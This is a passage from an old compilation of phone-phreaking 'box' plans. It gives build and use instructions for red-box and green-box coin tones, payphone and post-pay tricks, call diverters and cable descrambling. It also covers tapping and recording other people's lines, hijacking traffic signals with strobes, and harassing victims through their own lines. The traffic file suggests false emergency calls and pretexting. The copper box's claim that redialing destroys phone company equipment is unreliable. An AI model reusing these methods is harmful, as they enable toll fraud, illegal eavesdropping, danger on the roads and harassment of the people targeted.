anode towards the resistor + and the other should have it's cathode towards the + resistor. + + Connection: + + Build that onto the board and connect the two points marked line + to the wire, with the bulldog clips at the end. The box should now + be connected to the line in parallel with the phone. + + Operation: + + When the line is opened (Ie. the phone lifted) the green LED will + light (if the read one does then just reverse the polarity of the + box). Dialling numbers (by pulse) will cause the green LED to flicker + but while you are making free calls it should never go out and the + red LED will not light. As soon as the exchange starts charging for + your call, the green LED will go out and the red LED glow. + + How it works: + + As the LEDs are in opposite directions, only one can light depending + on the polarity of the current supply. This is exploited when + the exchange begins charging as the polarity of the line is + reversed. + + + Piggy The Pig + Jan 88. + + Cheese Box + ------ --- + +A cheese box (named for the type of box the first one was found in) is a +type of box which will, in effect, make your telephone a pay-phone... this is +a simple, modernized, and easy way of doing it. + +Inside Info: These were first used by bookies many years ago as a way of +making calls to people without being caught by the cops or having their +numbers traced and/or tapped. + +* * + How to make a modern Cheese Box +* * + + Ingredients: + ------------ +1 Call forwarding service on the line +1 Set of Red Box tones + +The number to your prefix's intercept operator (do some scanning for this one) + + + How To: + ------- + + After you find the number to the intercept operator in your prefix, +use your call-forwarding and forward all calls to her. This will make your +phone stay off the hook (actually, now it waits for a quarter to be dropped +in). You now have a cheese box...in order to call out on this line, you must +use your red box tones and generate the quarter dropping in. Then, you can +make phone calls to people! As far as i know, this is fairly safe, and they +do not check much... although i am not sure, i think you can even make long +distance calls. + + + \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ +\[____________________________[_ \ / +\[ The Chrome Box [_ A Portable Self-Contained Device +\[ 14-JUN-88 [_ / to Manipulate Traffic Signals \ +\[ Outlaw Telecommandos [_ / by Remote Control \ +\[ Modem Free Earth [_ / \ +\[\\\\\\\\\\\\\\\\\\\\\\\\\\\\[_ -=p*p=- + _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ + + Emergency vehicles in many cities are now using devices called OptoComs. +OptoComs are a system of sensors on traffic lights that detect a pattern +of flashes from vehicle-mounted strobe lights. + + This flash pattern varies from city to city depending on the manufacturer +of the equipment used. Often the sensors are installed only at major +intersections. Nevertheless, the Chrome Box, which simulates these strobe +patterns can often be used to give your car the same priority as an +ambulance, paramedic van, firetruck or police car. + + Because of the varying patterns on different systems this phile will +outline a general procedure for making the Chrome Box. + +Decoding Flash Patterns: + + First, you need to observe an emergency vehicle in action. You can wait +until you encounter one by chance, running out to see when you hear a siren, +or when you pull over in your car to let one pass by. You might wait +near a fire station for the next emergency to occur. Or, if you are very +impatient, you can summon one by calling in a false alarm (not recommended in +areas with limited services - that could divert attention from a real +emergency). If the OptoComs in your area are the kind with a pattern of single +flashes at a steady rhythm, you have merely to buy a strobe light at Radio Shack +& adjust the flash rate until you can induce a traffic light to change. + + If the flash pattern is more complex, you can videotape the emergency vehicle & +then play back the tape in single-frame mode, counting the number of frames +between each flash. Each video frame is 1/30 of a second, using this you can +calculate the time between flashes in the pattern. Another way is to count the +number of flashes (or flash-groups) in one minute and use that to compute the +rate. Counting video frames will give you a good idea of the spacing of the +flashes in a complex pattern. For really accurate information, call the fire +station & ask them, or write to the manufacturer for a service manual, which +will include a schematic diagram that you can use to build one. A good cover +story for this is that you are a consultant & one of your clients asked you to +evaluate Optocom systems, or you could pose as a free-lance journalist writing +an article. + +Modifying the Strobe Light: + + You may not have to modify the strobe at all. But if you need a faster +flash rate than your strobe allows, open it up & find the large capacitor +inside. Capacitors are marked in microfarads, abbreviated as mf,mfd or ufd. +By replacing the capacitor with one of the same voltage-rating (usually +250 volts or more) and a SMALLER value in microfarads, you can increase the +flash rate. Halving the microfarads doubles the rate. + The other component that can be changed is the potentiometer (the speed +control device with the knob on it). Using a smaller value (measured in +ohms or Kilohms, abbrevaited with the greek letter 'omega' or the letter K) +will speed up the strobe. There may also be a resistor (small cylinder with +several colored stripes on it, and wires coming out of each end). Replacing +this resistor with one of smaller value will also speed up the strobe. + + To generate a complex pattern, you will either have to design and build a +triggering circuit using IC chips, or rig up a mechanical device with a +multiple-contact rotary switch and a motor. It HAS been done. + + To modify the strobe for mobile operation the simplest thing is to get a +110-volt inverter that will run off of a car battery by plugging into the +cigarette lighter & run the strobe from that. Or, you can figure out (or find +in a hobby electronics magazine) a strobe circuit that will run from batteries. +Battery-powered strobes may also be availble, either assembled or as kits. + +Stealth Technology: + + Most light sensors and photocells are more sensitive in the infrared area of +the light spectrum. Infrared (IR) is invisible to the human eye. Putting an +infrared filter over the strobe light may allow the Chrome Box to operate in +traffic undetected by police or other observers. IR filters can be obtained from +military surplus sniperscope illuminators, or from optical supply houses like +Dow-Corning or Edmunds Scientific Co. + +Using the Chrome Box: + + Mounted on your car, the Chrome Box can guarantee you green lights at major +intersections in cities that have OptoComs. Handheld Chrome Boxes may be used to +create gridlock by interfering with the normal flow of traffic. If you have +access to a window overlooking a traffic light, you can play pranks by switching +the signals at inappropriate moments, or you can plug the strobe into an exposed +outlet at a laundromat or gas station. + +Some Decoded Patterns: + +Torrance, California + Standard large Radio Shack strobe lights are used. Moderately fast rate. + * * * * * * * * + +Manhattan Beach,CA + Flash-pairs in a 4:1 ratio, at a rate of 2 flash-pairs per second. + * * * * * * * * + <------ 1 sec -----> + +****************************************************************** +* Please add any new patterns or info you discover to this Phile * +****************************************************************** + + +/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ +/-/ The Clear Box /-/ +/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ + + The clear box is a new device which has just been invented that can be +used throughout Canada and rural United States. The clear box works on +"Post Pay" payphones (fortress fones). Those are the payphones that don't +require payment until after the connection is established. You pick up the +fone, get a dial tone, dial your number, and then insert your money after +the person answers. If you don't deposit the money then you can not speak to +the person on the other end-because your mouth piece gets cut off, but, +not the ear piece. (obviously these phones are nice for free calls to +weather or time or other such recordings). All you must do is to go to +your nearby Radio Shack, or electronics store, and get a four-transistor +amplifier and a telephone suction cup induction pick-up. The induction +pick-up would be hooked up as it normally would to record a conversation, +except that it would be plugged into the output of the amplifier and a +microphone would be hooked to the input. So when the party that is being +called answers, the caller could speak through the little microphone +instead. His voice then goes through the amplifier and out the induction +coil, and into the back of the receiver where it would then be broadcast +through the phone lines and the other party would be able to hear the +caller. The Clear Box thus 'clears up' the problem of not being heard. + + Luckily, the line will not be cut-off after a certain amount of time +because it will wait forever for the coins to be put in. The biggest +advantage for all of us about this new clear box is the fact that this +type of payphone will most likely become very common. Due to a few things: +1st, it is a cheap way of getting the DTF, dial-tone-first service, 2nd, +it doesn't require any special equipment, (for the phone company) This +payphone will work on any phone line. Usually a payphone line is +different, but this is a regular phone line and it is set up so the phone +does all the charging, not the company. + + + + +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +@ @ +@ =->The Copper<-= @ +@ =->Box<-= @ +@ @ +@ Concieved By @ +@ The Cypher @ +@ [001010]->[1101101] @ +@ @ +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + +Disclaimer (I know...): + This file is for informational purposes only. No use of this technique +is recommended for one of many reasons: 1) It makes other Phreaks & hacks +very upset, 2) It makes the Telco VERY upset, and you could be put away for +a LONG time if you dont know what youre doing. Telco employees could learn +something from the Copper Box. Well, anyway, off we go.... + +Purpose: + This box can destroy a phone company, no matter how big. You could bring +AT&T down to their knees! Only to be used by the most irate of Phracks, +it is intended for informational purposes only. + +History: + This is really not a Box, but if you consider a Cheese Box a Box, then it +is. It was first concieved back in 1986 when a Phriend and I came up with +the idea while using a Copper-coloured fone, hence, a Copper Box. + +Instructions: + You must obtain [1] extender, or phone company port, like an MCI or SPRINT +access number. [2] A hell of a lot of nerve, and vendetta towards the phone +company (phriend gets busted, rates increase, etc.) [3] a computer & modem +capable of autodialing [tone.] + + Dial the number of the L/D service, then enter the code. Dial the number of +the service again, through the outdial number you are still on, enter code, +then dial again and again. You should hear, after a while (it will take a +long time for BIG companies) a slight high-pitched, unstable tone, that grows +louder and louder w/every dial. Once it gets so loud that it refuses to let +in any more sounds, you have just completed the first cycle of the Copper Box. + Leave line off-hook for about 10 minutes or until the tone seems to calm +down, or stop completely. Then, dial again and repeat over and over again +until when you dial a last time, it [the port] doesnt answer. You have just +killed a telephone company, extender, etc. + +Theory of Operation: + What happens is that when the tone begins to rise, it is a result of cross- +talk feedback. The more you dial, the more it grows. In systems like these, +the small, sensitive equipment such as amplifiers, etc. begin to burn out as +a result of the feedback, damaging the equipment, and possibly starting a fire +at the location of the equipment. + + + + + + +(*)*(*)*(*)*(*)*(*) +(*) Crimson Box (*) +(*) Plans (*) +(*)*(*)*(*)*(*)*(*) + +The Crimson Box is very simple device +that will allow you to put someone on +hold or make your fone busy with a +large amount of ease. You flip a switch +and the person can't hear you talking. +Flip it back and everything is peechy. + +(*)*(*)*(*)*(*)*(*)*(*)*(*) +(*) Needed Materials (*) +(*)*(*)*(*)*(*)*(*)*(*)*(*) +[ +(1) 100 ohm or less resistor +(1) SPDT toggle switch, On-On +(3) feet of good wire +Wire cutters +Solder and soldering iron + +(*)*(*)*(*)*(*)*(*)*(*)*(*)*(*)*(*) +(*) Construction & Schemtaic (*) +(*)*(*)*(*)*(*)*(*)*(*)*(*)*(*)*(*) + +First I will give you the schematic and +then I will explain what the hell is +going on. + +[-----------black wire on line--------- +--------+ red wire on line +------ +--------!--+/\/\/-green wire---!------ +--------!--! yellow wire-------!------ + ! ! ! + +--!------+ ! + +----+ ! +----------+ + ! ! ! + 1 2 3 + +Ok. The '/\/\/' is the resistor. And +'1 2 3' is the switch where the numbers +are the poles on the switch. Notice you +leave the black and yellow wires alone. +You DO NOT cut them! +[ +Strip the red and green wires so you've +got about an inch of bare wire. Solder +some of the extra wire and follow the +schematic. You should have the resistor +on the green wire with an extra piece +of wire coming from one leg of it. The +other leg goes to the other end of the +green wire. You should solder the green +wire to the left pole of the switch and +the red to the middle and the other +end of the red to the right pole. + +Now, lift up the phone. If all you get +is an annoying buzz then throw the +[switch and you should get a dial tone. +If not, don't worry and just follow the +instructions and schematic again. + +_______________________________________ + + This has been an HMH presentaion-1985 + Crimson Box - Written and created by: + Dr. D-Code + Watch for the upcoming Sand Box +______________________________________ + +/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ +/ How to build / +/ -%> Day-Glo Box <%- / +/ Written, typed, and conceptualized by / +/ John F. Kennedy / +/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ + +-> Author's note: + + Yes, yes, I know that this box is similar to several other boxes, +including the so-called "Bud box," and the "beige box." Well, my reason for +writing this version is because of the fact that once finished constructing +the box, the file does not contain very much information on usage. It is +beacuse of that reason that this file was written. By the way, call +Ground 0 at 988-4426. Thank you. + +-> What is the function of a Day-Glo box? + + Well, a Day-glo box will let you place calls for free with no time limit, +no possibility of a wiretap, and the calls can be placed from anywhere in the +world. Too good to be true, you say? Well, read on. + +-> How does a Day-glo box work? + + A day-glo box is very easy to make, and very inexpensive to build. It +works like this: On the outside of every home that has a phone, there is +something called "the outside connection box," which is where the house is +connected to Ma Bell's network. This ingenious device connects to a) your +phone, b) the victim's outside box. You should be starting to get the idea. + +-> How do I construct a day-glo box? + + Materials necessary: 1. Radio Shack modular conversion jack + 2. A small experimenter's box (optional) + 3. 1 foot of red wire. (better to overkill) + 4. 1 foot of green wire. (same as above) + 5. 2 medium alligator clips + + Well, in order to construct this box, you will need all of the above +materials. Note that your wire does not necessarily have to be red or green, +but it is necessary that you be able to tell them apart. Also, you might want +to use thick, easily bent wire (audio hookup wire works best) instead of bell +wire. Now, on to the construction. + + 1. Remove the actual modular jack from the conversion box. This can be + done by pushing inward and then up, or you can just cut the plastic. + + 2. Remove the black and yellow wires from the jack. You can either clip + these or rip them out. + + 3. To your newly isolated jack, add the 1 foot wire extensions to the + respective wires. Soldering and then wrapping the connections with + electrical tape works best. + + 4. Next, solder the alligator clips to the extended wires. If you do not + wish to solder them, then just wrap the clips with the wire. + + 5. Now, place this newly made contraption into a box (optional). You may + need to drill a few holes, and possibly remove the alligator clips, + but you should have read this file first, anyway. + +-> Wiring Diagram + + Modular--------------Red-----+----Extension wire---------< Alligator + Jack --------------Green---+----Extension wire---------< Clips + + Pretty easy, eh? + +-> Usage of the day-glo box + + The day-glo box will work with any phone. First, you need to locate a +house that has a phone. Next, (it's preferable to do this at night) go up +to the and locate the outside connection box. Pop the cover off. Locate +prong 3 and prong 4. You will attach the green wire clip to prong 3. The +red wire clip will go to prong 4. Now, plug your phone (preferably a +trimline or ranger) into your modular plug. You may now either listen in on +the call (wire tap) OR you may call out to anywhere in the world. If you +are really daring, you can bring your computer with you. Note: This box +may also be used in conjunction with the lunch box in order to make a +perfect phone bug. + +-> Other neat things you can do with your new box: + + 1: Call 976 numbers. This should be done very frequently. Also, I find + that after finding the victim's outside box, several calls to the + gay hotlin will have interesting after-effects; namely, his parents + wondering about him. + + 2: Alliance teleconferencing can be accomplished quite easily. Try it! + Call 0-700-456-1000. Or, tell the operator you'd like to initiate a + conference. + + 3: Of course, you should place several calls to other countries. This can + be accomplished by looking in the front of your white pages for the + various country and city codes. You should be able to follow the + directions provided in there. + +-> Using your box at apartments/community connection boxes: + + Have you ever wondered what those 6ft tall cabinets with the bell logo on +them were for? Well, if you've never seen them, here's a quick description: +They are 6ft tall by 3ft wide, and painted the dull phone company green. +They can be opened quite easily with a 7/16ths inch socket wrench. After +turning the bold over the handle, turn the handle to the right and pull. It +should open, displaying over 100 different lines. Occasionally, you can find +tech. manuals and test kits inside. They are usually located near phone +lines. + + Okay, now, once you have opened one of these calling cabinets, locate the +line of your choice. You will have to take out both the orange and the white +insulated screws. The purple and white wires should come off along with the +screws. The lines go out to the house, and the screw posts are the actual +line. Now, you should clip the alligators to the posts, with one part of +the clip on the insulation, and one inside the screw hole to insure the +best connection. Oh, if you want the home to remain connected, clip the +wires inside the hole using the alligator clips. By the way, the red +terminal on your box goes to the orange post, and the green one to the +white post... if that doesn't work, reverse the connection. Now, to find +out the number you have taken over, dial 380-55555555. Yes, that's eight +fives. A computer voice should tell you what number you are on. heh. + + I hope you can take it from here. Oh, in apartments, you can find the +calling cabinet in the basement... remember, this is not your line, so do +anything you want. Call the President or something. + +Disclaimer: I, John F. Kennedy, can not be held responsible for your actions + in any way. This file was written for informational purposes only, + and should not be used to make free phone calls. In downloading + or copying this file, you are agreeing to this disclaimer. + +Special thanks goes out to: The Longshot, for sending me an old Phucked Agent +04 phile. + + + + + Topic for today: The Ditto Box + Written By : Dr Ditto of SOF + + +Definition: A special device for eavesdropping / recording phone conversations + + Most people at one time or another want to listen in on phone +conversations... but, they often get caught if they pick up an extension +phone, or if they tap into a line with a beige box and a phone without a +mute button (God forbid!) Anyway, there are a few tricks you can pull so +as not to be detected while eavesdropping. The big thing is, you need a +phone which will NOT send ANY noise out through the line. Most modern +phones have mute buttons, but they are a pain, cause you have to hold them +in the whole time you're listening, and, they often cause "line noise" to +be passed over the phone. Also, the way a lot of "1 piece" phones are +designed, it's impossible to hold in the mute button as you pick up or hang +up the phone, which ALWAYS makes some kind of noise. So, here's a quick +and dirty way to "adjust" a phone, so it has a mute SWITCH, not button. A +switch is much nicer, because you can flip it off, and not have to hold it +the whole time you're listening. Also, a switch doesn't put out the line +noise like a push-and-hold mute button does, because there is no friction +which causes the contacts to rub. + Any phone can be modified in a matter of minutes, to have a mute +switch. All it takes is an SPST (single pole single throw) switch, and a +bit of wire. A soldering iron also comes in handy. Here's what to do: + +1) Open the phone, and find the microphone (mouthpiece). On newer phones +this might be tough, since they are often 1 piece of molded plastic. On older +phones, the mouthpiece cover can usually be unscrewed, allowing easy +modification. It all depends on the phone, however. Anyway, open it up, +and find the wires leading to the mic. + +2) Cut ONE of the microphone wires, and strip back the insulation a bit. +If there isn't a lot of extra wire running to the mic, you might want to +solder an additional 3" on to the wire you cut, to give yourself some working +room. + +3) Find a convenient place on the phone to mount the SPST switch, and then +solder the wire you cut to the switch. This way, you'll be able to switch +the mic on and off whenever you want. Put the phone back together (TEST +your work first, though!) and you have a muteable phone. So, what do you +do with it? + + Well, eavesdrop from an extension in your home, a beige box, or +wherever. The phone is silent, so you're pretty safe. Of course, you MAY +want to take it just a bit farther... + + Since you have a special phone for eavesdropping, it would really +be nice to spice it up a bit. After all, it's hardly worth modifying a +phone just to add a mute switch. And it would seem pretty lame if that was +all I was gonna tell you in this file. Any moron with 3 brain cells could +figure out how to make a muteable phone. So, on to the INTERESTING stuff... + + This is something I rigged up at home, and don't know if it's got an +official "box" color, or name, or whatever. I'm sure somebody somewhere +has done it, but since I never saw a file on it, I thought I'd write one. +Egotistical person I am, I'll call it a "DiTTo Box" - but for good reason. +See, it allows you to tape record any phone conversation, and also to +listen in at the same time, over a stereo or boom box. And, it uses the +muteable phone, above. Here's how it works: + + All phones have a speaker in them, through which you hear the +person talking to you. What the DiTTo Box does is allow you to run the +signals through a stereo, and out the stereo speakers, instead of through +the phone speaker. To do this, you are going to need a phone dedicated to +DiTTo Boxing. Any phone will do, and you can modify it in 2 different ways +- you can make it a true DiTTo box, and it won't serve it's purpose as a +phone that you can converse on any longer, or you can make a "lower +quality" DiTTo Box, which you will still be able to use as a phone, but the +boxing quality will be slightly weakened. + +The difference lies in whether or not you keep the speaker in the phone. +You can keep the speaker in the phone, and run wires from the speaker +terminals to the input lines of your stereo, and it WILL work, but the +sound quality over the stereo won't be as good. OR, you can remove the +phone speaker entirely, and in it's place connect 2 alligator clips, one to +each speaker output wire. This is a dedicated DiTTo Box. I chose to go +with the lower quality box, simply because I don't do a whole lot of +eavesdropping, and I only had 1 phone I could modify, which I also use for +beige boxing. Still, it serves my purpose both ways. + + To get the box working, solder leads from the 2 speaker terminals +to alligator clips. Give yourself about 6-8 inches of wire at least! The +best length would be about 18 inches, if you plan on connecting to a home +stereo. Once the leads are soldered, you can connect them to the INPUT +jacks on your home stereo, or boom box. You can even hook them up in your car, +if your car has LINE IN or CD INPUT capability. Anyway, most stereos use +the RCA plug for connections. So, get an RCA plug off an old speaker or +something, and clip the alligator clips to it. Plug it into the stereo, +and set the selector on the reciever to accept input from the phone. Take +the phone off the hook, and you will hear a dialtone over your stereo +speakers. (yes, you MUST plug the phone into the phoneline for this to +work) Now, try dialing... you will hear the tones over the stereo. If you +have a tape deck on the stereo, you can record your phone conversations. +If you have a phone rigged up like this, and call someone, you can tape the +entire conversation, and they'll never know! Incoming calls are a bit +trickier, but they can be recorded too. The toughest part is trying to get +the stereo turned on and everything quiet before answering the phone, to +waylay any suspicion. Also, keep the stereo on LOW volume, to avoid +squealing from feedback. + + There are lots of uses for a DiTTo box, and I've told only one or +two. You can use the box to record dialing tones on cassette, then carry +them with you, to be used in a cassette player at a payphone, whatever. +Plenty of possibilities exist, that's for sure. Just remember, phone +tapping and eavesdropping are classified as a FEDERAL OFFENSE, so it's best +not to get caught. Have phun, and party on! + + ---DoctoR DiTTo + +Written by: Mavicon M.D. +Design: The Ear and Mavicon M.D. + +Diverter Plans + +Parts List: +Everything can be obtained at your local Radio-Shack. As much as +i hate that store, they are convenient... + +RLY1 DPDT relay +T1 1:1 audio transformer +D1 1N914 or similar diode +D2 large LED +LMP1 neon lamp +R1 10 k +R2 photocell +R3 22 k +R4 47 k +Q1 2N2222, 2N3904, 2N4401, most any other NPN switching +transistor +1 nine volt battery. The negative terminal goes to ground on the +schematic. Positive terminal to +9 volts. +Black electrical tape + +Assembly: + +The best way to assemble the design is to grab one of those small +copper lined perfboards from Radio-Shack. They are nice to work +on, and can easily be trimmed down to a minimum size once +everything is soldered in. The process is the same as any other, +solder all the parts in per the schematic. The photocell must be +in a position so that the light from the neon lamp(LMP1) and the +LED(D2) both shine on it. No other light must get in, so use +some black electrical tape to seal it all up. All the polarity +must be observed. Whichever direction you put the LED in, you +must remember (color code your wires, green is positive, red is +negative, yellow is positive, black is negative) the negative +side of the line must go to its negative side. The same goes for +the transformer. The positive side of each line has to be +connected to the correct pair on the transformer. On the Radio- +Shack transformers, put positive of both lines on the Red and +Black pairs, The negative on Yellow and White. Our prototypes +have reached less that 1" x 1" in size. + +Theory of Operation: + +The diverter works on some basic electronic principals. +Step by step: + The phone rings. The neon lamp is activated by the high +voltage(88 p-p) ac and flashes. This light shines on the +photocell, decreasing its resistance. When this happens, the +positive voltage flowing through the photocell and the 10k +resistor exceed the breakdown voltage of the base of the +transistor and switches that transistor on. Once the transistor +is on, current flows freely from emitter to collector, energizing +the relay. The relay's two sets of switches connect both lines +to the 1:1 audio transformer, effectively taking both lines off +the hook and coupling any audio signals from either line to the +other one. Once this happens, current is now flowing through the +transformer, relay, and LED loop. This current lights the LED +and that light shines on the photocell. This is what keeps the +device latched. The light from the LED keeps the photocell +resistance low enough to keep the transistor on. Now, you make +your call and get on with your business. You hang up. Now, the +local CO keeps current flowing through the indial line for about +5 seconds, at which point it drops down for a second or so and +then goes back up. This is the signal the device uses to +determine when you've hung up. When the current drops down, +there is no light from the LED, and the photocell resistance +raises enough to turn the transistor off and delatch the entire +system. + +Applications: + +The applications are relatively obvious. Hook it up to two +unused lines and make free calls. Hook it up to two payphones, +and red box calls. The only thing to watch out for is ringing. +If you hook it up to a residential line for the indial a small +(maybe 1/8) of a ring occurs when you call, tipping off people +inside the house. + + + |------------------------------------- + | | o +9V + | L1+ T1 | | + | o-------wwwww----------| | | + | | | | + | L1- | | | + | o-------------| | | o--------| + | | | | | | + | | | | | | + | | | | | | + | L2- | |---l----------l---------l--| _____ + o-------\ LMP1 | | | \| | | w | /^\ D1 +R4 47k * | | | | |\ | w | /---\ + --\/\/--/ | | | | | | | w | | + | | |-l----------l-----------l--| | + | | | RY1 | | | + o L2+ |------| | | | + | | o--------- + | | | + | | ----| + | D2 | / + | |\ | T1 | / + |----------| >|-----wwwwww---------- / + |/ | 000 + |--------- 000 Q1 + | 000 + oooo | \ + o o 10k | \ + o-------o-/\/\/o------------/\/\/---| \ ++9V o o R2 \ R1 | + oooo / 22k ----- + \ R3 --- + | - + | + ----- + --- + - + + + + + + - - - - - - - - - - - - - - + - T h e G R A B B o x - + - - - - - - - - - - - - - - + By: Shadowspawn (502) + + + + This box is dedicated to all the people that can't solder +two wires together, nevermind a complete circuit... The GRAB +Box is probably the easiest box that can be made. It's also +one of the most useful! This box uses inductive coupling to +join with any radio that uses a coil for an antenna (such as an +AM, longwave, or shortwave radio) and allows you to lengthen it +considerably. I've seen these in DAK and other catalogues for +20+ dollars! Now DAK is a great company, but you can make one +or two of these yourself for under seven dollars! + + Here's the schematic, get ready to be surprised: + + + O <---- Fahnstock clip + | + | _____ Variable + +--------------+------------+ \/ Capacitor + | | + ~ +--)|-+ + ~ <--- Coil | + ~ | + | | + +---------------------------------+ + + +Things you'll need/specs: It'll look something like this: + +----antenna-----------o + - 365pF Variable Capacitor | + - Hand-wound coil: 1 inch dia. F--/\--|COIL||--\ + 11 inches long with holes | \/--|||||||--/-+ + 2 inches from each end +-------------------+ + and #22 enameled wire + wrapped between them. + - Three corner braces (brass) + - Four wood screws | Sand the enamel off | + - 1 x 3 x 13 or so baseboard | the ends of the coil | + - 30+ foot wire w/ alligator | the nearest end goes | + clip to attach to | to the F. clip, the | + Fahnstock Clip | farthest end to the | + - Fahnstock Clip | plate contact. The | + | antenna clip goes to | + | the F. Clip. | + + + Put this device next to the coil that's inside your radio. +(The Grab box doesn't need to be inside it though, just close by) +The closer you place it to your radio's coil, the stronger it is, +the farther away, the more selectivity it has. And don't forget +to peak the capacitor each time you change frequency... + + You can usually pick up a few states around you during the +day and stations all over the US and elsewhere at night! Have +fun!! + + Shadowspawn (502) + + + + +[ THE GREEN BOX : BIOC AGENT 003'S COURSE IN BASIC TELECOMMUNICATIONS/ PART6 ] + + +The Green Box generates useful tones such as COIN COLLECT, COIN RETURN, and +RINGBACK. These are the tones that ACTS or the TSPS operator would send to +the CO when appropriate. Unfortunately, the green box cannot be used at a +fortress station, but must be used by the CALLED party. The tones (hz) are: + + COIN COLLECT700 + 1100 + COIN RETURN1100 + 1700 + RINGBACK700 + 1700 + + Before the called party sends any of these tones, an operator released +signal should be sent to alert the MF detectors at the CO. This can be done +by sending 900 + 1500 Hz or a single 2600 Hz wink (90 ms) followed by a 60 ms +gap and then the appropriate signal for at least 900 ms. Also, do not forget +that the initial rate is collected shortly before the 3 minute period is up. + + + + We have taken this information and written a software green box for the Cat. + +After a lengthy pause to admire first our interesting club title page, please +take a moment to marvel at the nice graphics used in the actual program. You +will then notice that there are four main options: + +AWAIT CALLER: This option will set your system awaiting callers. When +someone calls, the Cat will answer the phone and send +the predefined signals, pause, and then hang up. You +should notice the status line and indecators at the +upper left hand corner. The status line shows you what +is happening at a given time. The indecators in the box +at the upper left hand corner represent: +L=20 Length of signal (default is 20). +C=00 Number of calls received. +HUNG/PICK The current phone status. +The AWAIT CALLER option has several nice applications: +1. Return your money to you when you call home. +2. Collect money from anyone calling from a payphone +so that they can't talk or anything. (nasty...) +3. After it hangs up on them, they will wonder what was +wrong with your phone. When the payphone starts +ringing, they will wonder otherwise. + + COLLECT CONTENTS: This option will cause the contents of the "holding +chamber" to be dumped into the "main vault". It will +also cause the payphone to begin demanding more money. + RETURN CONTENTS: This option will cause the contents of the H.C. to be +dumped into the coin return slot, and so returning them +to the caller. + + RINGBACK PAYPHONE: This option will cause the CO to call the payphone the +caller was calling from. + + +Other options of The Green Box include: + +[P]ickup phone and [H]angup phone. + [D]ial (TOUCHTONE + BLUEBOX) +[T]ones - Mix & create your own tones. +[Q]uit - Again, you will be amazed at +the incredibly stupid graphics. + + + We would like to formally thank the authors of The Electronic Box because we +used the hertz/tone mixing routines from that wonderful program. Thanx guys! + + + + + ///PAY TV DECODER PLANS/// + + MATERIALS REQUIRED: + +1 - Radio Shack mini-box ( #270-235) +1 - 1/4 watt resistor, 2.2k-2.4k ohm + (RS #271-1325) +1 - 75pf-100pf variable capacitor + (Hard to find) +2 - F61a chassis-type coaxial + connectors (RS #278-212) +12" - No. 12 solid copper wire +12" - RG59 coaxial cable + + + ///INSTRUCTIONS/// + + +1. Bare a length of No. 12 gauge solid +copper wire and twist around a 3/8" +nail or rod to form a coil of 9 turns. +Elongate coil to a length of 1 1/2" +inches and form right angle bends on +each end. + +2. Solder the varible capacitor to +the coil. It doesn't matter where you +solder it, it still does the same job. +The best place for it is in the center +with the adjustment screw facing upward + +Note: When it comes time to place coil +in box, the coil must be insulated from +grounding. This can be done by crazy- +glueing a piece of rubber to the bottom +of the box, and securing the coil to it. + +3. Tap coil at points 2 1/2 turns from +ends of coil and solder to coaxial +chassis connectors, bringing tap leads +through holes in chassis box. Use as +little wire as possible. + +4. Solder resistor to center of coil +and ground other end of resistor to +chassis box, using solder lug and small +screw. + +5. Drill a 1/2" diameter hold in mini- +box cover to permit adjustment of the +variable capacitor from the outside. +Inspect the device for defects in +workmanship and place cover on mini- +box. Tighten securely. + +6. Place device in line with existing +cable on either side of the coverter +box and connect to television set with +the short piece of RG59 coaxial cable. +Set television set to HBO channel. + +7. Using a plastic screwdriver (non-matalic) +adjust the varible capacitor until picture +tunes in. Sit back, relax, and enjoy!!! + + + +(%>+<------------------------------------------------------------------->+<%) + )+) The Crack Shop ! presents - Infinity Boxes - Uploaded by Iron Man (+( +(%>+<------------------------------------------------------------------->+<%) + + This stuff from IRON MAN -- foratted 80 columns + + In answer to all those who don't knowwhat an infinity transmitter is, here +is A little history: + + A guy by the name Manny Mittleman ra a company called the wireless guitar +company located on Liberty St. In NY. Aide from wireless guitars, Manny also +built all sorts of electronic wireless bugs". One item, The infinity +transmitter was a device that was place inside an unsuspecting persons +telephone. + + When the phone number of that telephoe was dialed and a certain note was +blown into the phone from a hohner, keyof-c, harmonica, the bugged phone did +not ring, and what's more, enabled the aller to then hear everything said in +he room that the phone was located in. As long as the caller wanted to stay +on the phone, all was open to him or he. If the phone was lifted off the +hook, the transmitter was disconected ad the "bugged" party received a dial +tone as if nothing was wrong with the lne. + + Remember, all this was constructed inthe 1960x's when ic's were not as +commonplace as they are today. Also ber in mind that during that period in +time, even the telephone company was no quite sure on how well or how +portable tone decoding was. + +Ps. Many government agency's were someof manny's best customers. + + + + BUILDING A RED BOX + by J.R."Bob" Dobbs + + + Essentially,the red box is a device used to fool the phone company +into thinking you are depositing coins into a payphone. Every time you +drop a coin into a payphone, the phone signals the type of coin inserted +with one or more bursts of a combination of 1700hz and 2200hz. The tone +bursts are coded as follows: +Nickel:One 60 millisecond pulse +Dime :Two 60 millisecond pulses separated by 60 milliseconds +Quarter:Five 35 millisecond pulses separated by 35 milliseconds + + + HOW TO USE IT + ------------- + + Operation is simple. Simply dial a long distance number (some areas +require you to stick in a genuine nickel first), wait for the ACTS +computer to demand your cash, and press the "deposit" button on the red +box for each coin you want to simulate. The coin signals are coupled +from the red box into the phone with a small speaker held to the +mouthpiece. For local calls, either you must first deposit a genuine +nickel before "simulating" more coins or place your call through the +operator with 0 + 7d. Use some care when the operator is on the +line--sometimes they catch on to your beeper ploy. + + + CIRCUIT OPERATION + ----------------- + + Each time the pushbutton is pressed, it triggers half of IC1, +configured as a monostable multivibrator to energize the rest of the +circuit for a length of time determined by the setting of the coin +selector switch. This in turn starts the other half of IC1, configured +as an astable multivibrator, pulsing on and off at regular intervals at +a rate determined by the 50k pot between pins 12 and 13. The output of +the astable thus alternately powers of IC2, configured as a square wave +oscillator, providing the required 1700hz and 2200hz to the op amp which +acts as a buffer to drive the speaker. + + + CONSTRUCTION + ------------ + + Assemble the circuit as you wish. Component placement is not +critical. I found the easiest method was to use point-to-point wiring +on a "universal" PC grid board with solder ringed holes. Use sockets if +you aren't a whiz with a soldering iron. Be sure to leave easy access +to the potentiometers for alignment. + + + 